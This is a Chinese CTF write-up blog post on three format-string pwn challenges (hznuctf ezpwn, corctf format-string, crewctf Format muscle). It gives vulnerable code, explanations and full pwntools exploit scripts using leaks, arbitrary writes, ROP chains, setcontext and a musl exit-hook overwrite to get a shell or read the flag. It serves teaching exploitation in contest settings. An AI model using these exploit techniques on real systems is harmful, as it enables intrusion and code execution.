nyyyddddn

奇奇怪怪格式化字符串漏洞的利用1

2024/08/22

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
sand_box(argc, argv, envp);
rand_time();
vuln();
return 0;
}

void rand_time()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]

seed = time(0LL);
printf("welcome to HZNUCTF !");
printf("Please input your name: ");
read(0, buf, 0x10uLL);
printf("Hello, %s\n", buf);
puts("I wonder if you're lucky enough");
srand(seed);
for ( i = 0; i <= 9; ++i )
{
printf("Let's guess the number: ");
__isoc99_scanf("%d", &seed);
if ( rand() != seed )
{
puts("Wrong.");
puts("Guess you weren't lucky enough.");
exit(-1);
}
puts("Right.");
}
}

__int64 vuln()
{
puts("WOW you really a lucky guy!");
puts("Then I want to know if you are capable enough.");
while ( 1 )
{
printf("Please tell us something: ");
read(0, s1, 0x80uLL);
if ( !strcmp(s1, "HZNUCTF") )
break;
printf(s1);
}
return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
payload=cdll.rand()
sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf()
{
char buf[4];

if (scanf("%3s", buf) <= 0)
exit(1);

printf("Here: ");
printf(buf);
}

void do_call()
{
void (*ptr)(const char *);

if (scanf("%p", &ptr) <= 0)
exit(1);

ptr("/bin/sh");
}

int main()
{
int choice;

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

while (1)
{
puts("1. printf");
puts("2. call");

if (scanf("%d", &choice) <= 0)
break;

switch (choice)
{
case 1:
do_printf();
break;
case 2:
do_call();
break;
default:
puts("Invalid choice!");
exit(1);
}
}

return 0;
}

程序的输入只有三个字节,只需要泄露libc的地址就可以通过do_call去getshell,”%*d”表达式有两个参数一个是打印的宽度,另一个是打印的字符,printf(“% *d”, 5, 42); 这里rsi是宽度 rdx是打印的数字

在第一次do_printf的时候 printf(“Here: “); rsi残留了一个printf缓冲区的地址,这个地址被当成了宽度,在解析格式化字符串的时候printf的缓冲区被写满了字符,第二个do_printf的时候,通过 %s可以将printf缓冲区的内容泄露出来,缓冲区结尾有libc的地址,所以可以通过这种方式去泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pwndbg> 
0x00005d8dccc20236 in do_printf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX 0x0
RBX 0x5d8dccc203b0 (__libc_csu_init) ◂— endbr64
RCX 0x0
RDX 0x0
RDI 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
RSI 0x4
R8 0x64
R9 0x0
R10 0x5d8dccc21004 ◂— 0x6572654800733325 /* '%3s' */
R11 0x246
R12 0x5d8dccc20100 (_start) ◂— endbr64
R13 0x7ffe4c726f90 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
RSP 0x7ffe4c726e70 ◂— 0x642a25ccc20100
*RIP 0x5d8dccc20236 (do_printf+77) ◂— call 0x5d8dccc200c0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
0x5d8dccc20217 <do_printf+46> call __isoc99_scanf@plt <__isoc99_scanf@plt>

0x5d8dccc2021c <do_printf+51> test eax, eax
0x5d8dccc2021e <do_printf+53> jg do_printf+65 <do_printf+65>

0x5d8dccc2022a <do_printf+65> lea rdi, [rip + 0xdd7]
0x5d8dccc20231 <do_printf+72> mov eax, 0
► 0x5d8dccc20236 <do_printf+77> call printf@plt <printf@plt>
format: 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
vararg: 0x4

0x5d8dccc2023b <do_printf+82> lea rax, [rbp - 0xc]
0x5d8dccc2023f <do_printf+86> mov rdi, rax
0x5d8dccc20242 <do_printf+89> mov eax, 0
0x5d8dccc20247 <do_printf+94> call printf@plt <printf@plt>

0x5d8dccc2024c <do_printf+99> nop
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe4c726e70 ◂— 0x642a25ccc20100
01:0008│ 0x7ffe4c726e78 ◂— 0xace6cc258ec17700
02:0010│ rbp 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
03:0018│ 0x7ffe4c726e88 —▸ 0x5d8dccc2036c (main+164) ◂— jmp 0x5d8dccc20390
04:0020│ 0x7ffe4c726e90 ◂— 0x14c726f90
05:0028│ 0x7ffe4c726e98 ◂— 0xace6cc258ec17700
06:0030│ 0x7ffe4c726ea0 ◂— 0x0
07:0038│ 0x7ffe4c726ea8 —▸ 0x7d2bbe226083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
► 0 0x5d8dccc20236 do_printf+77
1 0x5d8dccc2036c main+164
2 0x7d2bbe226083 __libc_start_main+243
3 0x5d8dccc2012e _start+46
───────────────────────────

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64')
# log_level='debug'

is_debug = 0
IP = "be.ax"
PORT = 32323

elf = context.binary = ELF('./chal')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )


p = connect()

def print_data(data):
sl("1")
sl(data)

def call_addr(addr):
sl("2")
sl(hex(addr).encode())

print_data("%*d")
print_data("%s")

system = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x19a6f0
call_addr(system)



p.interactive()

musl libc中的格式化字符串 (和禁用$差不多)

crewctf_Format muscle

使用musl libc动态连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf((FILE *)&dword_0, 0LL);
do
{
fgets(s, 256, (FILE *)&dword_0);
printf(s);
}
while ( strncmp(s, "quit", 4uLL) );
exit(0);
}

musl libc中没有glibc里 %10$n这样的位置描述符,所以在不使用位置描述符的情况下去实现任意地址读写的原语,可以填充大量的%c去替代idx来实现任意地址读写的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./format-muscle')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )



p = connect()

gdb_comm = '''
b *$rebase(0x11F5)
c
'''


def write_byte(byte, addr):
sl(b'%c%c%c%c' + f'.%{byte + 248}c%c'.encode() + b'%c%c%hhn' + p64(addr))

def write_qword(qword, addr):
for i in range(8):
write_byte((qword >> (8 * i)) & 0xff, addr + i)


# -stack-libc
payload = b'%p' * 34 + b'-%p'
payload += b'%p' * 7 + b'-%p'

sl(payload)

ru('-')
stack = int(r(14),16)
ru('-')
libc_base = int(r(14),16) - (0x75fb9b010560 - 0x75fb9af61000)
rbp = stack - (0x7ffe2b6f52c8 - 0x7ffe2b6f5280)
input_addr = rbp - 0x110
success(hex(libc_base))
success(hex(rbp))


system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + 0x00000000000152a1
ret = libc_base + 0x0000000000019e9c

payload = b'\x00' * 255
sl(payload) # clean up buf

payload = b'%p' * 46 + b'-%p'
sl(payload)
ru('-')
elf_base = int(r(14),16) - (0x61b7c38d50a6 - 0x61b7c38d4000)
success(hex(elf_base))

payload = b'\x00' * 255
sl(payload) # clean up buf

struct_fl_addr = libc_base + 0xafc48
fake_struct_fl_addr = elf_base + 0x4200

write_qword(fake_struct_fl_addr, struct_fl_addr)
write_qword(fake_struct_fl_addr, fake_struct_fl_addr)
write_qword(system, fake_struct_fl_addr + 0x100)
write_qword(binsh, fake_struct_fl_addr + 0x200)


# g(p)
sl("quit")


p.interactive()

musl libc中的exit hook,在exit的一个子函数中有一个函数指针的调用的操作,这个函数指针和参数都在ld的数据段上,所以如果能实现任意地址写同时能触发exit就能通过exit hook去getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void __fastcall __noreturn exit(unsigned int a1)
{
sub_1B880();
sub_75E10();
sub_5A100();
Exit(a1);
}

__int64 sub_1B880()
{
__int64 result; // rax
_QWORD *v1; // rdx
int v2; // ecx
__int64 v3; // r12
void (__fastcall *v4)(__int64); // rbp
bool v5; // cc

result = sub_68D30(&unk_AFE60);
v1 = (_QWORD *)qword_AFC48;
if ( qword_AFC48 )
{
v2 = dword_AFE64;
result = (unsigned int)--dword_AFE64;
if ( v2 <= 0 )
goto LABEL_4;
while ( 1 )
{
do
{
v3 = v1[(int)result + 33];
v4 = (void (__fastcall *)(__int64))v1[(int)result + 1];
sub_68E20(&unk_AFE60);
v4(v3);
sub_68D30(&unk_AFE60);
result = (unsigned int)(dword_AFE64 - 1);
v5 = dword_AFE64 <= 0;
v1 = (_QWORD *)qword_AFC48;
--dword_AFE64;
}
while ( !v5 );
LABEL_4:
dword_AFE64 = 32;
v1 = (_QWORD *)*v1;
qword_AFC48 = (__int64)v1;
if ( !v1 )
break;
dword_AFE64 = 31;
LODWORD(result) = 31;
}
}
return result;
}
CATALOG
  1. 1. 非栈上格式化字符串套orw
  2. 2. 3个字节格式化字符串泄露libc
  3. 3. musl libc中的格式化字符串 (和禁用$差不多)